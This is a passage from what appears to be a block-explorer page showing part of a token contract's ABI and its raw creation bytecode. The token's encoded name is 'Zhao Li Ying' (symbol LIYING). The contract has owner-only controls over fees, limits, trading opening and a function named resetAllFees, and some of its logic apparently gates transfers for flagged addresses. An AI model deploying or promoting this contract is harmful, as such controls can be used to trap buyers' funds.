stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getExactPrice","outputs":[{"internalType":"uint80","name":"","type":"uint80"},{"internalType":"int256","name":"","type":"int256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint80","name":"","type":"uint80"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnForLPTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"address","name":"_receiver","type":"address"}],"name":"resetAllFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendManually","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"val","type":"uint256"}],"name":"setEthPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"setSwapTokenAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapManually","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleV3SwapRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"feed","type":"address"}],"name":"updateV3SwapRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
601a805461ffff191660019081179091555f601c55601d805460ff199081168317909155610258601e55610708602055602380546001600160a01b031916735f4ec3df9cbd43714fe2740f5e3616155c5b84191790556866ffcbfd5e5a300000602455602580549091169091179055600c60809081526b5a68616f204c692059696e6760a01b60a052610100604052600660c0908152654c4959494e4760d01b60e0526003620000b08382620008c3565b506004620000bf8282620008c3565b505050620000dc620000d6620004ff60201b60201c565b62000503565b602354602280546001600160a01b039092166001600160a01b031992831617905560068054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000156573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200017c91906200098b565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001dc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200020291906200098b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200024d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200027391906200098b565b600780546001600160a01b0319166001600160a01b039290921691821790556200029f90600162000554565b600654620002b8906001600160a01b03166001620005be565b6b033b2e3c9fd0803ce80000006103e8620002d5826028620009ce565b620002e19190620009ee565b600c556103e8620002f4826028620009ce565b620003009190620009ee565b600e555f60108190556011819055601281905560148190556013556127106200032b82600a620009ce565b620003379190620009ee565b600d556010546012546011546200034f919062000a0e565b6200035b919062000a0e565b600f55600a80546001600160a01b03199081167382aaf966cc52db13f3313c47752738cf83984a891790915560098054821673cd1b8b6ec61510ab19b1f9e920e12ac0e41f1988179055600b8054909116735ba8bd4b9eb8cc22f266adeba49d50d477f057e3179055620003e3620003db6005546001600160a01b031690565b600162000636565b600a54620003fc906001600160a01b0316600162000636565b60095462000415906001600160a01b0316600162000636565b600b546200042e906001600160a01b0316600162000636565b6200043b30600162000636565b6200044a61dead600162000636565b62000469620004616005546001600160a01b031690565b6001620005be565b600a5462000482906001600160a01b03166001620005be565b6009546200049b906001600160a01b03166001620005be565b600b54620004b4906001600160a01b03166001620005be565b620004c1306001620005be565b620004d061dead6001620005be565b620004ee620004e76005546001600160a01b031690565b82620006de565b620004f8620007c0565b5062000a24565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f908152602660205260409020805460ff1916821515179055620005838282620005be565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab905f90a35050565b6005546001600160a01b031633146200060c5760405162461bcd60e51b815260206004820181905260248201525f8051602062003a3d83398151915260448201526064015b60405180910390fd5b6001600160a01b03919091165f908152601960205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314620006805760405162461bcd60e51b815260206004820181905260248201525f8051602062003a3d833981519152604482015260640162000603565b6001600160a01b0382165f81815260186020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620007365760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000603565b8060025f82825462000749919062000a0e565b90915550506001600160a01b0382165f90815260208190526040812080548392906200077790849062000a0e565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b031633146200080a5760405162461bcd60e51b815260206004820181905260248201525f8051602062003a3d833981519152604482015260640162000603565b601a805461ff00191661010017905542600855565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200084d57607f821691505b6020821081036200086c57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200081f575f81815260208120601f850160051c810160208610156200089a5750805b601f850160051c820191505b81811015620008bb57828155600101620008a6565b505050505050565b81516001600160401b03811115620008df57620008df62000824565b620008f781620008f0845462000838565b8462000872565b602080601f8311600181146200092d575f8415620009155750858301515b5f19600386901b1c1916600185901b178555620008bb565b5f85815260208120601f198616915b828110156200095d578886015182559484019460019091019084016200093c565b50858210156200097b57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f602082840312156200099c575f80fd5b81516001600160a01b0381168114620009b3575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417620009e857620009e8620009ba565b92915050565b5f8262000a0957634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115620009e857620009e8620009ba565b61300b8062000a325f395ff3fe608060405260043610610329575f3560e01c8063715018a6116101a3578063a487d151116100f2578063c024666811610092578063e73b90cd1161006d578063e73b90cd146108ff578063f2fde38b14610918578063fea4fa4d14610937578063fff5d4081461094c575f80fd5b8063c0246668146108ad578063c9567bf9146108cc578063dd62ed3e146108e0575f80fd5b8063afcee81f116100cd578063afcee81f14610847578063b51449bb1461085b578063b9c127a01461087a578063be4dbe4814610899575f80fd5b8063a487d151146107ff578063a4c82a0014610813578063a9059cbb14610828575f80fd5b80638da5cb5b1161015d5780639a31c009116101385780639a31c009146107615780639a7a23d6146107ac5780639ec22c0e146107cb578063a457c2d7146107e0575f80fd5b80638da5cb5b1461071157806395d89b411461072e578063962dfc7514610742575f80fd5b8063715018a614610682578063730c188814610696578063751039fc146106b55780637571336a146106c957806380672bb7146106e857806382247ec0146106fc575f80fd5b806327f4d7d5116102795780633950935111610219578063583e0568116101f4578063583e056814610611578063625f3127146106305780636a1a57381461064457806370a0823114610663575f80fd5b8063395093511461059c5780634ec4ce37146105bb5780634fbee193146105da575f80fd5b80632e82f1a0116102545780632e82f1a0146105345780632fd689e31461054d578063313ce5671461056257806333c6c4cd1461057d575f80fd5b806327f4d7d5146104ed5780632acff8b31461050b5780632c3e486c1461051f575f80fd5b806311a63e17116102e4578063199ffc72116102bf578063199ffc721461046c578063206c17bb1461048157806323b872dd146104a057806324eec788146104bf575f80fd5b806311a63e171461040c57806318160ddd14610443578063184c16c514610457575f80fd5b80629f92621461033457806304beaeb81461035557806306fdde031461037d578063095ea7b31461039e5780630b18ad2c146103cd5780630ec13fff146103f8575f80fd5b3661033057005b5f80fd5b34801561033f575f80fd5b5061035361034e366004612a1a565b61096b565b005b348015610360575f80fd5b5061036a600c5481565b6040519081526020015b60405180910390f35b348015610388575f80fd5b506103916109b6565b6040516103749190612a31565b3480156103a9575f80fd5b506103bd6103b8366004612a90565b610a46565b6040519015158152602001610374565b3480156103d8575f80fd5b5061036a6103e7366004612aba565b601b6020525f908152604090205481565b348015610403575f80fd5b50610353610a5f565b348015610417575f80fd5b50600a5461042b906001600160a01b031681565b6040516001600160a01b039091168152602001610374565b34801561044e575f80fd5b5060025461036a565b348015610462575f80fd5b5061036a60205481565b348015610477575f80fd5b5061036a601c5481565b34801561048c575f80fd5b5060235461042b906001600160a01b031681565b3480156104ab575f80fd5b506103bd6104ba366004612ad5565b610aeb565b3480156104ca575f80fd5b506103bd6104d9366004612aba565b60266020525f908152604090205460ff1681565b3480156104f8575f80fd5b50601a546103bd90610100900460ff1681565b348015610516575f80fd5b5061036a610b0e565b34801561052a575f80fd5b5061036a601e5481565b34801561053f575f80fd5b50601d546103bd9060ff1681565b348015610558575f80fd5b5061036a600d5481565b34801561056d575f80fd5b5060405160128152602001610374565b348015610588575f80fd5b506103bd610597366004612a1a565b610e5e565b3480156105a7575f80fd5b506103bd6105b6366004612a90565b610fb4565b3480156105c6575f80fd5b506103bd6105d5366004612a1a565b610fd5565b3480156105e5575f80fd5b506103bd6105f4366004612aba565b6001600160a01b03165f9081526018602052604090205460ff1690565b34801561061c575f80fd5b5060065461042b906001600160a01b031681565b34801561063b575f80fd5b50610353611204565b34801561064f575f80fd5b50600b5461042b906001600160a01b031681565b34801561066e575f80fd5b5061036a61067d366004612aba565b61128d565b34801561068d575f80fd5b506103536112a7565b3480156106a1575f80fd5b506103536106b0366004612b22565b6112dc565b3480156106c0575f80fd5b506103bd611403565b3480156106d4575f80fd5b506103536106e3366004612b54565b61143f565b3480156106f3575f80fd5b50610353611493565b348015610707575f80fd5b5061036a600e5481565b34801561071c575f80fd5b506005546001600160a01b031661042b565b348015610739575f80fd5b50610391611520565b34801561074d575f80fd5b5060095461042b906001600160a01b031681565b34801561076c575f80fd5b5061077561152f565b6040805169ffffffffffffffffffff968716815260208101959095528401929092526060830152909116608082015260a001610374565b3480156107b7575f80fd5b506103536107c6366004612b54565b6115c3565b3480156107d6575f80fd5b5061036a60215481565b3480156107eb575f80fd5b506103bd6107fa366004612a90565b6116b6565b34801561080a575f80fd5b50610353611730565b34801561081e575f80fd5b5061036a601f5481565b348015610833575f80fd5b506103bd610842366004612a90565b61176b565b348015610852575f80fd5b50610353611778565b348015610866575f80fd5b5060075461042b906001600160a01b031681565b348015610885575f80fd5b506103bd610894366004612b87565b6117a8565b3480156108a4575f80fd5b506103536118a0565b3480156108b8575f80fd5b506103536108c7366004612b54565b6118d0565b3480156108d7575f80fd5b50610353611958565b3480156108eb575f80fd5b5061036a6108fa366004612b87565b611997565b34801561090a575f80fd5b50601a546103bd9060ff1681565b348015610923575f80fd5b50610353610932366004612aba565b6119c1565b348015610942575f80fd5b5061036a600f5481565b348015610957575f80fd5b50610353610966366004612aba565b611a59565b6005546001600160a01b0316331461099e5760405162461bcd60e51b815260040161099590612bbe565b60405180910390fd5b6109b081670de0b6b3a7640000611aaf565b60245550565b6060600380546109c590612bf3565b80601f01602080910402602001604051908101604052809291908181526020018280546109f190612bf3565b8015610a3c5780601f10610a1357610100808354040283529160200191610a3c565b820191905f5260205f20905b815481529060010190602001808311610a1f57829003601f168201915b5050505050905090565b5f33610a53818585611ac1565b60019150505b92915050565b6005546001600160a01b03163314610a895760405162461bcd60e51b815260040161099590612bbe565b60255460ff1615610adc5760405162461bcd60e51b815260206004820152601c60248201527f7072696365206f7261636c6520616c726561647920656e61626c6564000000006044820152606401610995565b6025805460ff19166001179055565b5f33610af8858285611be4565b610b03858585611c5c565b506001949350505050565b5f8060075f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b60573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b849190612c2b565b600a549091505f90610b9e906001600160a01b031661128d565b90505f60075f9054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bf1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c159190612c2b565b600854601a546201000090046001600160a01b03165f908152601b6020526040902054919250108015610c46575081155b610c4e575f80fd5b5f8060075f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610ca0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cc49190612c5c565b506024546025549294509092509060ff1615610d4257306001600160a01b0316639a31c0096040518163ffffffff1660e01b815260040160a060405180830381865afa158015610d16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d3a9190612cc1565b509193505050505b5f846001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d7f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610da39190612d0d565b60ff16876001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610de2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e069190612d0d565b610e149060ff16600a612e21565b610e27846001600160701b038716612e2c565b610e319190612e2c565b610e3b9190612e43565b90505f610e516001600160701b03861683612e43565b9998505050505050505050565b6005545f906001600160a01b03163314610e8a5760405162461bcd60e51b815260040161099590612bbe565b620186a0610e9760025490565b610ea2906001612e2c565b610eac9190612e43565b821015610f195760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610995565b6103e8610f2560025490565b610f30906005612e2c565b610f3a9190612e43565b821115610fa65760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610995565b50600d81905560015b919050565b5f33610a53818585610fc68383611997565b610fd09190612e62565b611ac1565b6005545f906001600160a01b031633146110015760405162461bcd60e51b815260040161099590612bbe565b6020546021546110119190612e62565b421161105f5760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610995565b6103e88211156110c45760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610995565b426021556007546040516370a0823160e01b81526001600160a01b0390911660048201525f9030906370a0823190602401602060405180830381865afa158015611110573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111349190612e75565b90505f612710601c54836111489190612e2c565b6111529190612e43565b9050801561117357600754611173906001600160a01b031661dead83612101565b6007546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae9916004808301925f92919082900301818387803b1580156111bb575f80fd5b505af11580156111cd573d5f803e3d5ffd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb92505f9150a1506001949350505050565b6005546001600160a01b0316331461122e5760405162461bcd60e51b815260040161099590612bbe565b6009546040515f916001600160a01b03169047908381818185875af1925050503d805f8114611278576040519150601f19603f3d011682016040523d82523d5f602084013e61127d565b606091505b505090508061128a575f80fd5b50565b6001600160a01b03165f9081526020819052604090205490565b6005546001600160a01b031633146112d15760405162461bcd60e51b815260040161099590612bbe565b6112da5f612253565b565b6005546001600160a01b031633146113065760405162461bcd60e51b815260040161099590612bbe565b603c8310156113725760405162461bcd60e51b815260206004820152603260248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015271616e2065766572792031206d696e7574657360701b6064820152608401610995565b6103e88211158015611382575060015b6113e75760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610995565b601e92909255601c55601d805460ff1916911515919091179055565b6005545f906001600160a01b0316331461142f5760405162461bcd60e51b815260040161099590612bbe565b50601a805460ff19169055600190565b6005546001600160a01b031633146114695760405162461bcd60e51b815260040161099590612bbe565b6001600160a01b03919091165f908152601960205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146114bd5760405162461bcd60e51b815260040161099590612bbe565b60255460ff1615156001146115145760405162461bcd60e51b815260206004820152601d60248201527f7072696365206f7261636c6520616c72656164792064697361626c65640000006044820152606401610995565b6025805460ff19169055565b6060600480546109c590612bf3565b5f805f805f805f805f8060225f9054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa158015611589573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115ad9190612cc1565b939e929d50909b50995090975095505050505050565b6005546001600160a01b031633146115ed5760405162461bcd60e51b815260040161099590612bbe565b6007546001600160a01b03908116908316036116715760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610995565b61167b82826122a4565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab905f90a35050565b5f33816116c38286611997565b9050838110156117235760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610995565b610b038286868403611ac1565b6005546001600160a01b0316331461175a5760405162461bcd60e51b815260040161099590612bbe565b61122e6117663061128d565b6122d1565b5f33610a53818585611c5c565b6005546001600160a01b031633146117a25760405162461bcd60e51b815260040161099590612bbe565b5f601355565b6007545f9081906001600160a01b0385811691161480156117d757506006546001600160a01b03848116911614155b6001600160a01b0384165f9081526018602052604090205490915060ff168180156117ff5750805b1561180957426008555b6001600160a01b0385165f9081526018602052604081205460ff168061184657506001600160a01b0385165f9081526018602052604090205460ff165b6007549091506001600160a01b038681169116145f84806118645750815b90505f600f541180156118815750600754600160a01b900460ff16155b801561188b575082155b80156118945750805b98975050505050505050565b6005546001600160a01b031633146118ca5760405162461bcd60e51b815260040161099590612bbe565b5f601455565b6005546001600160a01b031633146118fa5760405162461bcd60e51b815260040161099590612bbe565b6001600160a01b0382165f81815260186020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146119825760405162461bcd60e51b815260040161099590612bbe565b601a805461ff00191661010017905542600855565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6005546001600160a01b031633146119eb5760405162461bcd60e51b815260040161099590612bbe565b6001600160a01b038116611a505760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610995565b61128a81612253565b6005546001600160a01b03163314611a835760405162461bcd60e51b815260040161099590612bbe565b602380546001600160a01b039092166001600160a01b0319928316811790915560228054909216179055565b5f611aba8284612e2c565b9392505050565b6001600160a01b038316611b235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610995565b6001600160a01b038216611b845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610995565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f611bef8484611997565b90505f198114611c565781811015611c495760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610995565b611c568484848403611ac1565b50505050565b6001600160a01b038316611c825760405162461bcd60e51b815260040161099590612e8c565b6001600160a01b038216611ca85760405162461bcd60e51b815260040161099590612ed1565b805f03611cbf57611cba83835f612101565b505050565b5f611cd26005546001600160a01b031690565b6001600160a01b0316846001600160a01b03161480611cfe57506005546001600160a01b038481169116145b90505f6001600160a01b0384161580611d2157506001600160a01b03841661dead145b90505f8280611d2d5750815b80611d415750600754600160a01b900460ff165b6007549091505f906001600160a01b038881169116148015611d7b57506001600160a01b0386165f9081526019602052604090205460ff16155b6007549091505f906001600160a01b038881169116148015611db557506001600160a01b0388165f9081526019602052604090205460ff16155b6001600160a01b0389165f908152601860205260408120549192509060ff1680611df657506001600160a01b0388165f9081526018602052604090205460ff165b601a5490915060ff168015611e09575083155b15611ff657601a54610100900460ff1680611e215750805b611e665760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1037b832b732b21760511b6044820152606401610995565b8215611f5357600c54871115611ed75760405162461bcd60e51b815260206004820152603060248201527f427579207472616e73666572206578636565647320746865206d61782074726160448201526f3739b0b1ba34b7b71030b6b7bab73a1760811b6064820152608401610995565b600e54611ee38961128d565b611eed9089612e62565b1115611f4e5760405162461bcd60e51b815260206004820152602a60248201527f427579207472616e73666572206578636565647320746865206d61782077616c6044820152691b195d08185b5bdd5b9d60b21b6064820152608401610995565b611ff6565b81611ff6576001600160a01b0388165f9081526019602052604090205460ff16158015611f9857506001600160a01b0389165f9081526019602052604090205460ff16155b15611ff657600e54611fa98961128d565b611fb39089612e62565b1115611ff65760405162461bcd60e51b81526020600482015260126024820152714d61782077616c6c6574206578636565642160701b6044820152606401610995565b60255460ff161561200b5761200b888a612421565b6001600160a01b0389165f9081526018602052604090205460ff1615801561204b57506001600160a01b0388165f9081526018602052604090205460ff16155b80156120615750600754600160a01b900460ff16155b801561208557506001600160a01b0389165f9081526026602052604090205460ff16155b156120e9575f6120943061128d565b600d549091508110156120a56124b5565b80156120ae5750805b80156120b8575082155b156120e6576007805460ff60a01b1916600160a01b1790556120d86124cf565b6007805460ff60a01b191690555b50505b6120f6898984868b6126f7565b505050505050505050565b6001600160a01b0383166121275760405162461bcd60e51b815260040161099590612e8c565b6001600160a01b03821661214d5760405162461bcd60e51b815260040161099590612ed1565b6001600160a01b0383165f90815260208190526040902054818110156121c45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610995565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906121fa908490612e62565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161224691815260200190565b60405180910390a3611c56565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f908152602660205260409020805460ff191682151517905561167b828261143f565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061230457612304612f14565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561235b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061237f9190612c2b565b8160018151811061239257612392612f14565b6001600160a01b0392831660209182029290920101526006546123b89130911684611ac1565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906123f09085905f90869030904290600401612f28565b5f604051808303815f87803b158015612407575f80fd5b505af1158015612419573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526026602052604090205460ff161561247e576001600160a01b0382165f908152601b6020526040812054900361247a576001600160a01b0382165f908152601b602052604090204290555b5050565b600754600160a01b900460ff1661247a57601a805462010000600160b01b031916620100006001600160a01b038416021790555050565b5f806124bf610b0e565b116124c957505f90565b50600190565b5f6124d93061128d565b90505f6017546016546015546124ef9190612e62565b6124f99190612e62565b9050811580612506575080155b1561250f575050565b600d5482111561251f57600d5491505b5f600282601554856125319190612e2c565b61253b9190612e43565b6125459190612e43565b90505f6125528483612869565b90504761255e826122d1565b5f6125694783612869565b90505f61258b8661258560165485611aaf90919063ffffffff16565b90612874565b90505f6125a78761258560175486611aaf90919063ffffffff16565b90505f816125b58486612f97565b6125bf9190612f97565b90505f871180156125cf57505f81115b15612622576125de878261287f565b601554604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b5f6015819055601681905560178190556009546040516001600160a01b039091169085908381818185875af1925050503d805f811461267c576040519150601f19603f3d011682016040523d82523d5f602084013e612681565b606091505b505090508061268e575f80fd5b600a546040515f916001600160a01b03169085908381818185875af1925050503d805f81146126d8576040519150601f19603f3d011682016040523d82523d5f602084013e6126dd565b606091505b50509050806126ea575f80fd5b5050505050505050505050565b5f61270286866117a8565b6001600160a01b0387165f9081526018602052604090205490915060ff1615806127385761273187848861294a565b5050612862565b811561285457600f54601154851561276f57601354600f5461275a9190612e62565b915060135460115461276c9190612e62565b90505b861561279a57601454600f546127859190612e62565b91506014546011546127979190612e62565b90505b5f6127aa60646125858886611aaf565b905082601054826127bb9190612e2c565b6127c59190612e43565b60155f8282546127d59190612e62565b909155508390506127e68383612e2c565b6127f09190612e43565b60165f8282546128009190612e62565b909155505060125483906128149083612e2c565b61281e9190612e43565b60175f82825461282e9190612e62565b90915550508015612844576128448a3083612101565b61284e8187612f97565b95505050505b61285f878785612101565b50505b5050505050565b5f611aba8284612f97565b5f611aba8284612e43565b6006546128979030906001600160a01b031684611ac1565b6006546001600160a01b031663f305d7198230855f806128bf6005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612925573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906128629190612faa565b6001600160a01b0383166129705760405162461bcd60e51b815260040161099590612e8c565b6001600160a01b0381166129965760405162461bcd60e51b815260040161099590612ed1565b6001600160a01b038084165f9081526020819052604080822080548681039091559284168252812080548592906129ce908490612e62565b92505081905550816001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161224691815260200190565b5f60208284031215612a2a575f80fd5b5035919050565b5f6020808352835180828501525f5b81811015612a5c57858101830151858201604001528201612a40565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461128a575f80fd5b5f8060408385031215612aa1575f80fd5b8235612aac81612a7c565b946020939093013593505050565b5f60208284031215612aca575f80fd5b8135611aba81612a7c565b5f805f60608486031215612ae7575f80fd5b8335612af281612a7c565b92506020840135612b0281612a7c565b929592945050506040919091013590565b80358015158114610faf575f80fd5b5f805f60608486031215612b34